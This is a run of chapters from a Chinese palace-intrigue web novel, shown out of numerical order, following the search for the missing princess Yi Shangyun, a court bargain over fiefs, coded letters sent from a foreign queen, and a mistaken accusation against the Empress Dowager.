果然,那老汉一眼便认出了陆远递到自己面前来的画像上的女子。 惊诧极了地问:“你……你是怎么认识这位姑娘的?” 本只打算试试而已,可见居然是这个结果,陆远亦顿时惊呆了:“老伯你真的认识画像中的人?” 老汉垂首看着手里握着的钱袋,道:“公子有所不知,这些银两,便就是数月前,画像中的这位姑娘赠予我的。” 回忆过往,老车夫至今似是都心里对其念念不忘着。 “那日,西秦城里忽然而至一场大暴雨,仿佛天都要塌了,似是要将整座皇城都淹没了一般。那姑娘也不知遇到了什么急事,执意要我送她去草原,姑娘她甚是善良,途中,路途崎岖实在走不下去了,又知道我家中有病妻等候,便将这银两赠予我让我独自返回。” …… 听了车夫所说的一切,陆远不禁感叹衣上云竟然独自在这里发生了这么多事情。 于是,他开口最后朝老汉确认:“老伯可知那女子叫什么吗?” 老汉急忙回忆着。 “叫……” “喔,对了,姑娘说她叫衣上云。” 陆远顿时惊呆了。 “真的是公主?” “公主真的还活着?” 于是,他赶忙再次朝其确认:“老伯你说这位姑娘,她去了草原?” 每每想起她,老汉至今都于心不忍着:“真是造孽呀,那姑娘肚子都那么大了,他的夫君也不管他,任由她一个人翻山越岭去那么远的地方。” 陆远听了,吃惊地道:“什么?你说她怀孕了?” 第六百九十七章:出手非一般阔绰的下人 “什么?你说她怀孕了?” 老汉肯定极了地道:“是啊,都已经很显怀了!看那样子,左不过年底腊月左右应该就会临盆了。” 闻此,陆远瞬间将两道浓密的剑眉紧紧拧在一起,心里暗自想着:“怎么会这样?” 这时,老汉方才回过神来,询问道:“对了,还不知道公子贵姓?是衣姑娘的什么人?” 陆远想了想,说:“实不相瞒,在下陆远,乃东宁国龙虎城人士。衣姑娘,是在下的少主人。因府上发生了一些事情,少主人出门寻找解决之策,从此便就没了音讯。府中上下甚是为其担心,故而命在下出来寻她,幸亏今日在此遇到了老伯,否则在下至今都不知该往何处去寻?” 老汉将其上下仔细打量了一番,瞬间恍然大悟:“我猜得果然没错,真是大户人家的姑娘,就连府里的下人,看起来都是这般的气宇轩昂,尊贵不凡。” 已然打探到了衣上云的去向,陆远便迫不及待的准备亦往草原上寻去。 一念至此,他赶忙将身上的钱袋亦取了下来,递到了老汉手里,朝其致谢:“感谢老伯今日告知这么多关于我家少主人的事情,亦多谢老伯在去往草原的路途中,对我家少主人的悉心照顾。” 见此,老汉赶忙推手拒绝:“使不得,使不得,姑娘不但将自己所有的盘缠都给了我,还赐我良方,治愈了我那久病缠身的贱内,我岂敢还再收公子的银两?” 陆远却道:“这些银两,同我家少主人的性命相比,甚是微不足道。老伯你务必得拿着,万万不可拒绝。” 老汉一个劲地回拒:“使不得,使不得,这万万使不得。” 不得已,陆远只能扬声喝了句:“叫你拿着,便拿着,休要再啰嗦。” 突然受到惊吓,瞬觉一阵激凌袭来,老汉吓的本能般果然一把将陆远手里的钱袋子稳稳地接住。 正要打算离去,陆远忽然想起方才在秦王府离开时所发生的一幕。 他说:“陆某不管你心里究竟打的什么主意,陆某想要说的是,这次,陆某一定会找到公主。无论秦王殿下如何阻拦,陆某一定会带公主回东宁,此后再也不踏进西秦半步。” 轩辕翰亦毫不退让,道:“本王亦想告诉陆少城主,这天下,本王什么都可以舍弃,唯独云儿,不管是谁,本王决不会放手。” 陆远心里遂暗暗地道:“不行,这个消息,绝对不能让那个西秦秦王知道。” 一念至此,陆远朝那老汉又认真地叮嘱了一句:“关于我家少主人的去向,还请老伯守口如瓶,日后再也不要跟任何人提起。” 老汉不解地问:“这是为何?” 陆远稍作思量,道:“因为此时,有很多人都在找我家少主人,如果少主人被那些人找到了,便就会有莫大的危险。我想老伯你,也一定不想我家少主人深陷险境,于危险之中对吧?” 老汉赶忙连连摇头,道:“公子你放心,我保证再也不会同任何人讲起这件事来,我绝对不会做对姑娘不利的事情。” 陆远遂拱手朝其道谢:“多谢老伯!老伯保重。” 老汉亦对其道:“公子保重!” 至此,陆远终于转身疾步离去。 没走出两步,陆远似是忽然又想起了什么,于是顿足停下。 并未转回身去,只是扬起声来说了些话。 “无论是我,亦或是我家少主人留给你的那些银两,老伯尽管拿去购置些御寒的衣物,天气渐渐转凉了,老伯保重身体。” 即便现在,老汉却始终都不这么认为,他坚持说:“那怎么行,这些银两,我日后自是一定要亲自还给姑娘呢!” 陆远肯定极了地告诉他:“不用了,这辈子,我家少主人是绝对再也不会踏上西秦的国土来了。” 说完,便大步流星,头再也不回地决绝离去。 闻此,老汉顿现出一脸的失望。 “就像活菩萨一般那么好的姑娘,有生之年,难道我真的再也见不了她一面了吗?” 望着陆远离去的背影,老汉默默地自言自语道。 遂漫不经心地打开手里的钱袋来一看,瞬间睁大了眼睛,惊愕不已。 “这……” “这哪里是银两?” “这分明就是满满一袋子的金豆子呀!” “这辈子,我也只不过从车行掌柜的那里见过两三颗而已。此刻,却是真真切切地捧在我自己手里,还这么多……” “东宁国……” “龙虎城……” “他们到底是什么人?” “一个下人而已,出手居然如此非一般阔绰。” 秦王府。 转眼已是三日又过。 却依然没有传回有关衣上云的任何新的消息。 轩辕翰早已是心急如焚。 “云儿,你到底去哪儿了?” “你还好吗?” “我们的孩子……” “还好吗?” “为什么要让所有人都认为你已经死了?为什么?” “你处心积虑做这一切,到底是为了什么?” “到底发生了什么?” “为什么你要做任何事情,都不事先与本王商量一下?” “在你的心里,真的有将本王当作你的夫君吗?” 殿内烛火摇曳。 忽然之间,处处都现出她的影子来。 她的一颦一笑。 可醒过来,一切都只不过是自己的幻想而已。 到底有多喜欢,才能让一个人的眼里,心里,处处无时无刻都只是一个她而已。 这时,程良走进殿内来。 一见轩辕翰失魂落魄的模样,便知他此刻又是在惦记着衣上云了。 于是,有些无奈,遂心里默默地叹了口气。 一见程良进来,轩辕翰立马打起精神来,满眼希冀地问:“怎么样?找到云儿了吗?” 程良摇摇头。 轩辕翰又问:“丁香呢?查到丁香的下落了吗?” 程良还是摇了摇头。 “衣上坤,衣上坤那里呢,他怎么说?” 程良皆都无可奈何:“无缘无故,衣上坤肯定没有胆量做这些?这次的事,一看便是娘娘出的主意,就连张致远都什么也不说,衣上坤便更加不会背叛王妃娘娘的意愿。从始至终,都一口只咬定王妃娘娘就是殁了。” 轩辕翰想了想,又问。 “易三少……” “易三少呢……” “发生了这么大事,易三少不可能连出现都不出现。” “如果云儿真的死了,易三少肯定不会轻易放过本王的。” “他一定会寻上门来,掀了整个秦王府,亦要与本王算账的。” “他人呢?” “他怎么不来找本王算账啊?” “他倒是来呀?” “来找本王呀。” 程良实在看不下去了,开口将其阻止:“殿下您不要这样?” 可轩辕翰依旧却没有停下来的思绪。 “他没来……” “易三少没来……” “既然他没来。” “那就表示,云儿根本就没有死。” “他亦知道云儿没死,所以便不屑来找本王。” “她在哪儿?” “她到底在哪儿?” “她还怀着本王的骨肉。” “本王不能再这样等下去了。” “本王要亲自去找她。” “本王一定能将她找回来……” 说着,轩辕翰拔腿便欲朝外奔去。 程良一见其仿佛魔怔了的模样,赶忙将其从身后一把死死抱住:“殿下您冷静一点儿!” 轩辕翰挣扎着道:“事已至此,让云儿流落在外多一日,便就多一分危险,你让本王如何冷静?本王要立刻去昭告天下,让所有人帮本王把云儿寻回来。” 程良几近声嘶力竭地道:“殿下你想好了,王妃娘娘的丧礼已成,如此一来,咱们那可是欺君之罪啊!” 轩辕翰依旧什么都不管不顾,坚持着道:“本王管不了那么多了!” 程良只能继续劝导,道:“在不清楚王妃娘娘到底为什么要这么做之前,如今已然无法公然昭告天下寻人。即便昭告天下,不还是在皇城里找吗?西秦城内如今已经被我们的人掘地三尺,翻了无数遍了,都没有找到王妃娘娘。如今殿下您又还能去哪儿找啊?殿下你冷静一点儿。” “不能放弃,本王不能就这么放弃。” 闻此,轩辕翰一边喃喃低语着,终于渐渐安静了下来。 过了会儿,程良继而开口朝其禀报说:“殿下,关于那个人,已经有消息了。” 闻声,轩辕翰终于缓缓提起了一些精神,询问:“怎么说?” 程良道:“听说他们已经再次回到宫里了,那人之前在外面仿佛受了伤,听说好像是被狼给攻击了,不过现在应该已经无碍了。” 轩辕翰命令说:“继续派人密切监视。” 程良抱拳领命:“是!” 犹犹豫豫之间,程良再次开口说:“还有一件事……” “什么?”轩辕翰沉声问。 程良道:“陆少城主傍晚的时候带人离开了。” 轩辕翰问:“陆远离开了?他回国了?” 程良想了想,说:“并不是,陆少主似是带人往西北方向去了。” 轩辕翰疑惑地道:“他去西北做什么?” 程良摇摇头,似乎也不甚明白。 暗自想了一会儿,轩辕翰默默地道:“陆远此行,就是为了寻云儿回东宁国继位,他一定是有了关于云儿的新消息,方才离开的。” 顿时间,他忽然反应了过来,道:“难道陆远,他找到了云儿的下落?” 闻此,程良心里惊了一下:“他才来西秦没几日,怎么可能?” 轩辕翰即刻命令:“赶快派人去盯紧他,他极有可能已经找到了云儿的下落,绝对不能让他带云儿离开。” “是!” 第六百九十一章:你想与我平分? “就凭你?!” 面对梅志煊轻蔑的质问声,梅汐媛付之一笑。 尔后缓缓说:“我一个弱女子,生来便就注定既上不了朝堂为君王分忧,更到不了战场为自己立下军功,自是没有这个能力。但是,三皇兄可还记得北烈国大皇子拓跋泽……” 闻此,梅志煊不禁真的心中为此顿惊了一下,问:“你是说,北烈大皇子拓跋泽……还活着?” 梅汐媛见梅志煊果然对自己拿出的这个筹码颇感兴趣,于是继续说道:“世人皆知,北烈国大皇子心狠手辣,又勇猛善战,北烈的战马更是灵空大陆上无人能敌。可他如今却可谓是真正的国破家亡,犹如一条丧家之犬,但即便如此,他却还一心想着复仇,夺回属于他的草原之地!不知,如果能得到他的助力,三皇兄认为,自己会不会更有胜算呢?!” 梅志煊遂一暗自琢磨,便即刻着急地追问:“你……你不会知道拓跋泽的下落吧?” 梅汐媛朝他哼笑了一声,道:“我当然知道,不然怎会是北烈人替我打劫送那批麻黄到龙虎城,我又如何与你谈今日这场交易?” 顿了顿,她忽然俯身下去,朝着梅志煊耳语了起来。 片刻之后,似是对梅汐媛的计划颇为满意。 待到她再次直起身来,梅志煊又问她:“既然这是一场交易,你告诉我这一切,那又想从本皇子这里得到什么?” 梅汐媛深深地吐了口浊气,想了想,在心里问自己:“我想要什么?” 原本,她以为自己拥有这世间美好的一切。 疼爱自己的父皇母后、尊贵无比的公主身份、无忧无虑,锦衣玉食的生活。 待她长成,便唯独想要一个能与自己匹配,令世间所有女子艳羡不已的完美夫婿。 直到秦王轩辕翰的出现,他几乎满足她对理想夫婿的所有幻想标准。 于是她不远万里,满心欢喜地朝着他奔去。 可怎么都没想到,换来的会是今天的结局! 而现在,似乎这辈子,她唯一想要却亦得到的,怕便亦就只是出生在帝王家了。 余下一切,显然皆都只因为衣上云的出现,全部都化为泡影。 她的骄傲,从此被人死死地踩在脚下,再也不得翻身。 只见梅汐媛若有所思着,最后其脸色愈来愈渐渐沉了下来,变得颇为冷厉,开口狠狠地道:“待到事成之后,衣上云那个贱人,一定要留给我亲自来处置。今日我所受到的一切屈辱,全都是拜她所赐,我一定要她千倍百倍的偿还。” 闻此,梅志煊似乎终于彻底明白了她心里的仇恨,却又觉得依照她的性子,所求的不应该仅仅如此,便又再次朝其确认:“仅此而已?!” 梅汐媛深吸口气,清了清嗓子,又道:“其实,这个皇位一开始,我们也不是一定要跟你争。只要你愿意将城东和城南两地分封出来给我们母子三人,我保证我们绝对息事宁人,再不与你相争。” 东宁国,向来都是得天独厚,城南地沃,城东沿海,更是商贾云集的海上繁花之地。 梅志煊见梅汐媛此刻显然是狮子大开口,遂心里默默地道:“果然,你这如意算盘打得也未免太精了些。” 于是顿了顿,笑着说:“原来,你并不是主动放弃,不与我争,而是想与我平分天下。” 梅汐媛故作惊讶地道:“皇兄怎么这么说?这怎么能叫平分?即便城南与城东两地分封出来,可每年需要缴给朝廷的那一份,我们自是亦一分都不会少的。” 梅志煊忽变一脸厉色,说:“人人皆知,我东宁之所以在灵空大陆上堪称富甲一方,靠的就是城南沃地盛产,城东商贾海上繁花。你让本皇子将这两地分封出来给你们母子三人,那本皇子岂不是坐吃山空,日后还靠什么来治理东宁?就靠你缴上来的那一丁点儿微不足道吗?” 眼看着自己的心思很快便就被拆穿,梅汐媛也丝毫不愿退让,不想与他妥协,更不愿再与其多说些什么。 于是便直截了当地说:“既然想玩,就得玩得起,付不起筹码,那就索性只能躲在自己固有的方寸里做个缩头乌龟,整日提心吊胆,等着被人替代好了。” 此话一出,一室寂静。 俩人俱都沉默了下来,再无一人说话。 时间,一分一秒的过去。 梅汐媛最后提醒他:“距离我与拓跋泽约定的时间可并不多了,如果时间到了,没有等到我的回复,到时他不但不会成为你的助力,还极有可能,会对我的反悔心生怨恨,不知会不会把东宁也当成了他报复的对象呢?到了时候,东宁岂不又多了一个敌人?!” “你……” 闻此,梅志煊愤怒极了。 遂再想了想,似乎只能干脆地答应了她:“好……成交!” 这一刻,梅汐媛心里眼里俱都得意极了。 于是马上出言,开始恭维起他来。 “这就对了嘛,如此干脆利落,才像是个一言九鼎的国君的样子!” “不过口说无凭,诏书还得麻烦三皇兄记得早些派人送过来哦。” “否则,若是拓跋泽生气了的话……” “三皇兄……” “那咱们……” “合作愉快……” 说到底,今日这场谈话,梅志煊此时终于算是明白了过来,原来是梅汐媛回国前便给自己挖下的一个大坑。 所有一切,一开始,自己便就根本没有选择的权力。 于是到最后,他怒火中烧着,从梅汐媛的宫殿里走了出来。 如影随行的侍卫问梅志煊:“殿下,永乐公主方才明显就是狮子大开口,殿下怎么能上她的当?那可是城南与城东的地啊……” 梅志煊气道:“本皇子总会不知?可眼下,无论如何都要先稳住了她。有的事,她说的的确没错。眼下,拓跋泽的确不失为一个好的助力,与其让他心生怨恨来对付我们,不如先为本皇子所用之。” 侍卫似是有些为难,吞吞吐吐地说:“可那诏书……” 梅志煊道:“给她便是!且看她母子三人日后能不能等到分封那一天,有没有命享用才是。” 听这一席话,侍卫顿明白了过来,急道:“属下明白了,属下这就让人去写诏书。” 此时被梅汐媛气的无比愤怒的梅志煊,已然仿佛走火入魔了一般,心里狠狠地道:“没有人能威胁得到本皇子,所有本皇子得不到的东西,宁愿让它毁灭,谁都别想得到!包括她……” 一念至此,遂命令身旁的侍卫:“去通知陆远带去的咱们的人,就说万一如果找到了永宁公主,便抢先悄悄处理掉,切忌,千万不能被陆远察觉。” 侍卫想了想,说:“那陆远一身逆鳞,根本不将殿下放在眼里,开口闭口都只是永宁公主,殿下为何不将他乘机亦一起处理掉?” 梅志煊一边走,一边想了想,道:“如今整个朝堂,因为只有本皇子相信并全力支持他寻回永宁,他已然对本皇子有了好感。想要守住东宁,并坐稳那个位置,龙虎城尤为关键,本皇子日后很长一段时间还得指着他呢!” 侍卫听了,顿反应过来,赶忙歉声道:“属下明白了,是属下疏忽了。” 这时,梅志煊忽然开口问:“对了,娘娘现在在做什么?” 侍卫回想片刻,道:“方才听锦兰说,好像娘娘的母国昨日又来信给娘娘了,想必这个时候娘娘正在回信吧。” 闻此,梅志煊顿足停了下来,转身朝侍卫再次确认:“回信……” 侍卫肯定地道:“是的,应该是在回信。” 梅志煊想了想,眼中忽然划过一丝怀疑,遂下令说:“走,去看看。” 此时,轩辕玥正伏在案上,手里握着一支笔出神,不知在想些什么? 已经一早上了,那支笔,提起,又被放下,放下,又再次被提起。 反反复复,不知已经多少次。 似乎至今只要一想到昨日那信的内容,她便就心神不宁。 时间已经过去了许久,至今却都不知该如何下笔? 锦兰在旁边一边替其研墨,一边问:“已经一个早上了,公主可是还没想好该如何回皇后娘娘的信吗?” 仿佛只此浅浅淡淡的这一句,便足以打断轩辕玥所有的思绪,于是,她又一次将笔放了回去。 锦兰不明白地问了句:“怎么了?” 轩辕玥想了想,说:“锦兰,你快去把之前我们收着的那些信全都赶快拿过来。” 锦兰皱了皱眉,甚是不解地问:“公主要那些信做什么?” 轩辕玥催促着道:“我自有用处,你赶快去拿来。” 很快,锦兰便从梳妆台上的一格里将厚厚的一沓信笺捧着过来,交到轩辕玥的手里。 轩辕玥一边将其接过,一边吩咐锦兰:“锦兰,快点儿帮我多拆几封出来。” 说着,俩人很快便将那些信中信抽了几张出来,铺开在案前。 轩辕玥这才再次在案边坐了下去,复又提起笔来,写下。 母后大人在上: …… 第六百九十二章:一季,一信 母后大人在上: 见字如面。 圣人云:孝有三,大孝尊亲,其次弗辱,其下能养。 儿臣深蒙父母之恩,本该感恩戴德,承欢膝下。 实则却是置身于千里之外,大小无一事可替父皇母后分忧,就连三孝之中最下等的孝也做不到。 为今只能日日祈求上苍保佑,父皇母后身体康健,心情愉悦! 儿臣更叹时光如白驹过隙,不知不觉分别已数年,看着海儿如今一日日长大,方觉为人父母者一路走来之辛劳。 只是不知何年何月,才能再见父皇母后一面…… 轩辕玥尚还未写完,梅志煊果然已悄悄进入殿来。 锦兰一看到其身影此时出现,本能反应心里惊了一下。 继而赶忙朝其屈膝行礼,正欲开口问候。 忽被梅志煊伸出一只手来挡了回去。 锦兰仍似有些不放心,遂瞥了眼轩辕玥书案边放着的一堆书信,却终还是无奈地退了出去,替俩人将门轻轻掩上。 梅志煊悄悄来到轩辕玥的身后,看着她所写下的埋藏在心底深处的思念,轻声地问:“玥儿这是想家了?” 对于眼下这一幕,轩辕玥其实早已预料,亦已觉察到梅志煊的到来。 闻声,却仍然故作一副什么都不知道的表情。 甚至有些惊慌地站起身来,朝其行礼道:“殿下什么时候进来的?怎么玥儿都不知道?” “锦兰,殿下来了怎么也不通报一声?” 说着,遂在锦兰方才所站立的地方望了一眼过去。 梅志煊道:“本皇子已经让锦兰退下去了,玥儿不必找了。” 看到梅志煊目不转睛地看着那堆信。 轩辕玥却依旧故作并未察觉,遂试探着问了句:“听说永乐公主昨儿夜里闹腾了一晚上,一大早便嚷嚷着要见殿下。公主她……没事吧?” 梅志煊一副若无其事的样子,道:“没事,玥儿不必担心。” 轩辕玥一眼便看出他肯定有事瞒着自己,可梅志煊什么都不说,她自是也不能问, 最后只能笑了笑,道:“没事便好,不管怎样,公主既然已经回国,殿下还是务必要将公主仔细安置好了,以免落人口舌。” 梅志煊并没有再回答她什么,目光遂一直落在桌上的这堆书信里。 半晌后,似是有些惊讶地问:“这么多书信,都是母后写给你的?” 轩辕玥这才顿回过神来,赶忙从其中随便抽了一封,当着梅志煊的面打开。 说:“是啊,纸短情长,一年四季,一季,一信,这里的每一封书信,都是母后对玥儿的惦念。” 遂将其展开来,故意往梅志煊身边凑近了些,说:“殿下快看,这是去年秋天的时候,母后写给玥儿的。” “母后告诉玥儿,说风华宫里的柿子树这一年长势颇为喜人,硕果累累,远远看上去像一个个火红的小灯笼一般,把树枝都压弯了,满宫的宫女太监们都跑去爬到树上去摘柿子,可热闹了。” 说着说着,轩辕玥眼中忽然噙满了泪水,声音亦愈来愈低沉:“只可惜,玥儿这辈子却再也爬不了那棵树,再也吃不到比风华宫里的那棵柿子树上所结出的更大、更软、更甜的柿子了。” 担心泪水落下,轩辕玥悄悄将其抹了一把,继而将这封递到身旁的梅志煊手里。 自己又抽开另外一封来:“殿下再看这封……这个是去年寒冬腊月母后写给我的。” “说的是风华宫的绿梅,那是玥儿及笄礼的时候亲自种下的,就在去年腊月,竟然开花了。” 一时间,轩辕玥似是忽又变得兴致勃勃起来:“殿下可知,绿梅是最具君子气质的梅花,绿梅花白而萼绿,自然如玉,美如瑕,最是超凡脱俗。” 仿佛仅仅只是想一想,心中便很是欢喜:“天然玉腻细生香,斜倚东风竚淡妆。在西秦,绿梅意味着坚强,即便在最寒冷的冬季,依旧能傲立绽放于枝头,无论环境多么恶劣,也丝毫阻挡不了它盛开的步伐!” 说着说着,眼里满满是希冀地道:“玥儿真的好想亲眼见见自己所种下的那株绿梅,花开的样子。哪怕就一眼,也是好的。” 伴随着自己的想象,沉默了片刻后,轩辕玥再次重新翻了一封信出来。 将方才的那封依旧递给梅志煊,展开新的一封:“这是今年开春后……” 打开这一封,轩辕玥脸上顿现出满脸愁容,遂低沉极了地说:“年关刚过,母后便说她前段时日生了一场大病,本来不想与我再说,可她又觉得,在这个虽说天大地大的人世间,却只有我们母女彼此连心,所以还是忍不住想告诉我……” 此刻,轩辕玥直觉瞬间鼻子一酸,便终于再也忍不住流下了泪来。 泪水,瞬间模糊了视线。 梅志煊手里拿着轩辕玥递给自己的上一封还是深秋时节的书信。 同前一次一样,将那信翻来覆去看了看,似是并未发现任何不妥之处。 忽瞥见她落下了伤心的眼泪,于是放下手里的信笺,默默地附手上去,轻轻拍了拍她的肩。 继而又将她顺势揽入到自己的怀中,安慰道:“玥儿不要难过,相信母后她不会有事的。” 轩辕玥窝在梅志煊的怀里一边抽泣着,一边说:“在西秦的时候,从小到大,玥儿一直觉得自己想要什么便就能得到什么,无拘无束想做什么便就做什么。” 顿了顿,又道:“可在这里,玥儿想要做任何事却都得小心翼翼,战战兢兢,这些年,玥儿属实觉得自己真的好累,好累。” 梅志煊想了想,在她耳边信誓旦旦地说:“玥儿且再最后忍耐些时日,很快,我们便都不需再忍了!” 安慰好轩辕玥。 一出门,梅志煊心里便默默地肯定道:“那些书信看起来的确并没有什么问题,或许,真的是本皇子多心了!的确不该怀疑玥儿,他为了本皇子背井离乡远嫁至此,对本皇子的一片赤诚,应该是真的。” “锦兰……” 直到站在门外的台阶上,眉头紧锁着亲眼看着梅志煊是真的彻底离开了院子,轩辕玥方才舒展开来,紧忙回头将锦兰一起叫了进去。 锦兰一进门,便着急地问:“殿下没发现什么吧?” 轩辕玥一道与锦兰一起整理案上的信笺,一边道:“幸好本公主出嫁前早有防备,已与母后有所叮嘱。每次写给本公主的信都是两封,一封用正常的宣纸书写正常的家书,另一封则用薄如蝉翼的蝉羽纸传递消息,正常家书保留备用,蝉羽纸上的信息看完即刻烧毁,如此夹带折叠亦看不出任何破绽,想必应该不会被发现!” “还是公主聪明,奴婢方才都快被吓死了!”闻此,锦兰终于长长地舒了口气。 轩辕玥只要一想起梅志煊质问自己与母国书信往来的那个眼神,便心里发毛。 遂说道:“与其让他总是心生好奇地惦记着,不妨让他亲眼见一次。如此一来,他的好奇心也便不会再那么重了。” 锦兰却是从方才一开始便一直都不解地问:“可公主又怎会知道三皇子这个时候会来?” 轩辕玥想了想,说:“因为他的眼神,已经告诉了本公主他的怀疑。加之近日发生了许多事,促使他凡事不得不更加仔细了。” 锦兰又道:“那是不是从此以后,殿下便就会对公主绝对信任了呢?” 轩辕玥哼笑了一声,道:“当然不会,反而,日后我们必须更加小心才是。” 锦兰一边将俩人整理好的书信放回原处,一边叹声道:“这样提心吊胆的日子,究竟什么时候才是个头啊?” “是啊,本公主又何尝不想知道,这日子,什么时候才能结束?” 说完,便复又提起笔来,欲继续将方才的书信写完。 这时,锦兰在书架边,将手放在一只木匣上,问:“公主,这次还要不要我们从西秦带来的蝉羽纸啊?” 轩辕玥笔尖顿了一下,想了想,说:“以防万一,还是暂且不要用得好。” 锦兰抿了抿嘴,将手又收了回去。 至此,一室寂静,主仆俩人便再无一人说话。 没过几日。 果然,分封的诏书如愿以偿地送到了梅汐媛的手里。 梅汐媛着实高兴极了,她认真地审视着诏书上的每一个字。 一遍,又一遍。 生怕梅志煊让人在诏书上做下什么手脚,到头来自己又是白忙活一场。 她知道,这已是她翻身的最后一个机会了。 不知过了多久,梅志煊似是都看不下去了,索性直接亲自告诉她:“别看了,这封诏书,千真万确,不会有任何问题的!” 闻声,梅汐媛终于收起了手里的诏书,赞叹道:“我果然没看错,三皇兄果然有魄力,相信日后一定会是个好君王!” 事已至此,梅志煊根本不屑与她废话:“废话少说,现在可以告诉本皇子那拓跋泽的下落了吧?!本皇子该去哪里寻他?” 梅汐媛忽然缓缓说道:“三皇兄别着急嘛!我可并没有说要告诉你拓跋泽的下落呀!” 闻此挑衅,梅志煊顿朝其扬声喝道:“你敢阴本皇子?” 梅汐媛想了想,遂笑着说:“我亲自去将他找回来!” 梅志煊听了,有些吃惊地看向她:“你说什么?” 这时,梅汐媛却忽然又提出一个要求…… 第七百章:永安宫的男宠 “这般慌慌张张的,究竟发生了什么事?” “奴婢奉娘娘的命,刚才去永安宫里送东西,听说了一件事情,是有关于太后娘娘的,他们说……说……” 那婢女吞吞吐吐的,看似颇有些难为情。 遂心下里一急,干脆赶忙上前去在皇后的耳边对其耳语了起来。 皇后一听,甚觉吃惊地看向婢女的脸,仿佛不可思议极了地问:“你说的是真的?” 婢女连连点头,又道:“那人这会儿仍旧还在太后那里,就连皇上都已经被惊动,亲自过去永安宫查看了!” 闻此,皇后顿惊立起身来,道:“你说什么?皇上已经去永安宫了?” 婢女肯定极了地道:“刚才在回宫的路上,奴婢亲眼看见的。” 皇后心中惊慌不已,拔腿一边往出走,一边道:“快走,去永安宫。” 婢女亦赶忙紧紧跟随。 此刻的永安宫里,到处一片灯火通明。 晚膳过后,太后手中正捧着一碗清香四溢的茶汤。 一边撇去上面漂浮着的几片浮茶,一边漫不经心地问:“身上的伤,可都已经好些了?” 黄昏时分,被召入宫来的龙恩,正落座在其一旁。 许久以来,太后还是第一次这般语气温和的与他交谈。 闻此,龙恩心里不禁忽然升起一丝温暖。 于是开口回答:“都已经好的差不多了,多谢太后娘娘关怀。” 太后一听,松了口气,忽然间语气又再次变得严厉起来。 “都多大的人了,怎么行事还如此鲁莽,竟想起一出是一出,为何突然跑到那样危险的地方去?若不是寿公公及时赶到,你可还有命回来?” 显然,在觻县所遭遇的一切,明显亦是远远超出了自己所料。 只是无论如何,眼看着到手的鸭子就这么飞了,着实令人遗憾。 龙恩遂亦只能朝其致歉:“对不起,这一切都是我的错。原本以为,这次一定能将她找回来,不成想,还未来得及验证,便就遇到狼群的攻击,险些还……” 太后听了,狠狠地道:“愚蠢至极,真是成事不足,败事有余。” 看到龙恩缓缓低垂下头去,变得情绪低落起来。 太后又有那么一点点不忍心,于是道:“好了,你也不要太过于灰心,人没事便好。既然已经有了方向,便就抓紧去查,切莫让他人捷足先登。” 听了太后这番话,龙恩顿时再次打起精神来,道:“谨遵太后娘娘教训,我一定会尽快将她找出来的。” 说完,只见龙恩一边开始从身上摸索着什么东西,一边说:“对了,听闻觻县盛产奇石美玉,此次我特地为娘娘寻了一块回来。这几日又在城里找了最好的工匠,制成了这只镯子,还望太后娘娘能喜欢。” 说着,便将怀里揣着的一只铸金翡翠龙凤五彩手镯拿了出来。 只见这只手镯上,带有紫色、白色、绿色、红色、黄色五种颜色。 为了使得手镯增添更多的贵气,手镯的表面上全部都是铸金镶刻。 龙恩握着这只巧夺天工的宝物,起身到太后的面前,双手朝其眼前递了上去。 岂料,太后显然似是对那手镯很喜欢,朝其怔愣了好一会儿。 方才缓缓伸出一只手去,道:“既是你的一片孝心,那你亲自替哀家戴上。” 龙恩听了,心里顿觉受宠若惊,亦是愣了一会儿,忽地回过神来,赶忙答应道:“是!” 就在龙恩近身过去,跪身在其面前,一心为太后专心佩戴手镯。 太后亦是眼里满含慈爱地俯视着他,重逢后第一次无比近距离,含情脉脉地端详着自己多年未见,流落在外的亲骨肉。 甚至内心蠢蠢欲动,犹犹豫豫的还想用另外一只手去抚摸他时。 璟帝刚好跨过门槛,怒气冲冲地走了进来。 一进门,看到眼前俩人之间如此亲密的距离,还有所正在做的亲呢之事。 偌大寂静的殿内。 眼前这一切,无不驱使他顿暴跳如雷,扬声怒吼了一声:“你们这是在做什么?” 闻声,龙恩被打断顿转回头,朝来人叩首道:“参见皇上万岁万岁万万岁。” 太后亦几乎与其同时惊看向璟帝此刻乌黑的脸庞,道:“皇帝,你怎么来了?” 而璟帝却只自顾自地朝其质问:“他是何人?殿内的奴才们呢,怎么只有你们二人在这里,做什么呢?” 见其言语不敬,毫无礼数,只顾着质问连连,太后即刻动怒:“皇帝,请注意你的态度和言辞,他是寿公公的远房亲戚。” 闻此,璟帝顿觉惊诧极了。 他看看太后,又看看跪在自己面前的人。 “谁?” “寿公公?” “他不是已经去世很多年了吗?” “这个人,他不是母后寻来的男宠吗?!” 闻此,太后方才恍然大悟:“皇帝你说什么?男宠?你以为他是哀家……” 遂哼笑了一声,道:“所以说,皇帝是来永安宫捉奸的?” 璟帝心里愈想愈不对劲。 “他是寿公公的远房亲戚。” “寿公公?他不是已经……” 一念至此,璟帝疑惑地开口问道:“寿公公,他不是在当年城隍庙里纯太妃所遭遇的那场大火中,亦一同遭遇不测了吗?况且这么多年,从未听说过他有什么远房亲戚……” 就在这时。 进来一个步履蹒跚,手里捧着一木盘的太监。 那太监一看到璟帝的身影,便朝其连忙下跪:“老奴参见皇上万岁万岁万万岁!” 待到终于看清楚此人的脸,璟帝瞬间立在原地,惊呆了。 “寿公公,怎么是你?” “你……你竟然真的还活着?” 太监道:“幸得上天垂怜,太后娘娘庇护,当年的那场大火,老奴方才得以幸存。” 璟帝闻此,顿换了一副嘴脸,居然亲自上前去将其扶起身来:“寿公公对朕有救命之恩,快点请起!” 太监一边起身,一边道:“儿时的事情,皇上不必记在心上,这都是奴才份内该做的事情。” 璟帝只觉庆幸地道:“公公尚还活着,如此,真的是太好了!” 这会儿,太监方才正式朝璟帝介绍:“那场大火,虽然没有将老奴烧死,但却重伤了老奴一条腿。这些年来,幸得我这位侄子多年如一日的照料,方才使得老奴有今日再次回宫侍奉太后娘娘的一日。” 说着,太监看向太后的脸,顿了顿,又继续道:“娘娘垂爱,叫老奴说什么,都得将这侄子带进宫来见一面亲自致谢。没想到,居然让皇上误会了,这都是老奴的错,老奴马上便将他带走。” 说着,便一步一跛地朝其过去,将至今还跪在冰冷的地板上的龙恩扶起身来。 “我早就说了,这里本就不该是你这种人来的地方,还不起来随我出宫去。” 俩人一道迈步,欲走出大殿去。 这时,忽闻璟帝的声音再次在大殿上响起:“慢着……” 太监顿足停下,朝其信誓旦旦地道:“皇上放心,老奴保证,他这辈子再也不会出现在宫来了!” 